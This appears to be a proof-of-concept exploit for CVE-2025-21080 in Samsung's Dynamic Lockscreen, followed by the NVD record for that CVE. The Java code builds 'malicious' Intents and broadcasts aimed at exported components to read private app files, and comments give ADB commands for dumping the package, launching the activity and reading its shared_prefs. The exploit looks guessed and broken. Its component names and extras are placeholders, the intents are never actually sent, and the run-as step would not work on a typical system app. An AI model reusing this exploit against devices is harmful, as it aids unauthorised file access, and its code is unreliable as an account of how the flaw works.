CVE-2025-21080

// CVE-2025-21080 PoC - Samsung Dynamic Lockscreen Component Export Exploitation // This PoC demonstrates how to exploit the improper component export vulnerability // in Samsung Dynamic Lockscreen to access files with elevated privileges. import android.content.Intent; import android.content.ComponentName; public class CVE202521080_PoC { // Target component information (example) private static final String TARGET_PACKAGE = "com.samsung.android.app.dynamiclockscreen"; private static final String TARGET_COMPONENT = "com.samsung.android.app.dynamiclockscreen.DynamicLockScreenActivity"; /** * Method 1: Using ADB to start exported component * Command: adb shell am start -n com.samsung.android.app.dynamiclockscreen/.DynamicLockScreenActivity * This allows attackers to trigger the component with Dynamic Lockscreen privileges */ /** * Method 2: Android Application exploitation * Construct malicious Intent to access internal files */ public void exploitViaIntent() { try { // Create intent targeting the exported component Intent maliciousIntent = new Intent(); maliciousIntent.setComponent(new ComponentName( TARGET_PACKAGE, TARGET_COMPONENT )); // Add extra data that may trigger file access maliciousIntent.putExtra("file_path", "/data/data/com.samsung.android.app.dynamiclockscreen/shared_prefs/"); maliciousIntent.putExtra("action", "read_settings"); // Start the component with elevated privileges // The component will execute with Dynamic Lockscreen's permissions // This allows access to protected files and configurations // Example: Reading shared preferences that may contain sensitive data // String prefsPath = "/data/data/com.samsung.android.app.dynamiclockscreen/shared_prefs/settings.xml"; } catch (Exception e) { e.printStackTrace(); } } /** * Method 3: Exploit via BroadcastReceiver * If the exported component is a BroadcastReceiver, send malicious broadcast */ public void exploitViaBroadcast() { Intent broadcast = new Intent(); broadcast.setComponent(new ComponentName( TARGET_PACKAGE, "com.samsung.android.app.dynamiclockscreen.DynamicLockScreenReceiver" )); broadcast.setAction("com.samsung.android.DYNAMIC_LOCKSCREEN_ACTION"); broadcast.putExtra("exploit_data", "malicious_payload"); // Send ordered broadcast to interact with the vulnerable receiver // The receiver processes the broadcast with Dynamic Lockscreen's permissions } /** * Remediation: * 1. Set android:exported="false" for internal components * 2. Implement proper permission checks before component activation * 3. Use android:protectionLevel="signature" for inter-app communication * 4. Update to SMR Dec-2025 Release 1 or later */ } // ADB Exploitation Commands: // Step 1: Identify exported components // adb shell dumpsys package com.samsung.android.app.dynamiclockscreen | grep -A 5 "Activity" // // Step 2: Start exported activity // adb shell am start -n com.samsung.android.app.dynamiclockscreen/.DynamicLockScreenActivity // // Step 3: Access files with app privileges // adb shell run-as com.samsung.android.app.dynamiclockscreen cat shared_prefs/settings.xml

{"cve": {"id": "CVE-2025-21080", "sourceIdentifier": "[email protected]", "published": "2025-12-02T02:15:46.703", "lastModified": "2025-12-05T20:10:44.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper export of android application components in Dynamic Lockscreen prior to SMR Dec-2025 Release 1 allows local attackers to access files with Dynamic Lockscreen's privilege."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:-:*:*:*:*:*:*", "matchCriteriaId": "95DE4E96-2F23-47E5-9DFC-44EC409F37E8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AB3F31FA-359F-4CB6-9078-CD2093D4C43A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "4207B265-009B-4FF8-85C5-01EBDB7701FF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-jul-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "B9BADD79-26FC-4498-AFEC-C79AF6B96924"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-jun-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "3A695EEE-B9DE-4448-BC51-AF5AC592AA59"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-mar-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "FC6E2318-BD4E-4540-82C3-0D461C691119"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-may-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "DDFC99BC-87AC-43AC-B815-36B7960C39D1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-nov-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "F9B1BCF7-069A-42BC-A654-5C894C92CF1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-oct-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "65F036A0-874D-4607-833E-167753748DEB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-sep-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "22E4BD84-802F-46CC-A86F-B6256F7915E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "3FD6766A-EC2B-4CA2-9A8E-2BA5C9E9ECF9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "C86A3033-9DD1-47F9-B95D-10F82A31D335"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-nov-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "0C527C12-5480-4604-A480-1E540095EB5D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-oct-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "B3C64BA1-AF0F-4E65-97BE-3FD1958FFC79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-sep-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "79C71CA6-508E-4A19-9014-47FA1BD5A83C"}]}]}], "references": [{"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2025&month=12", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}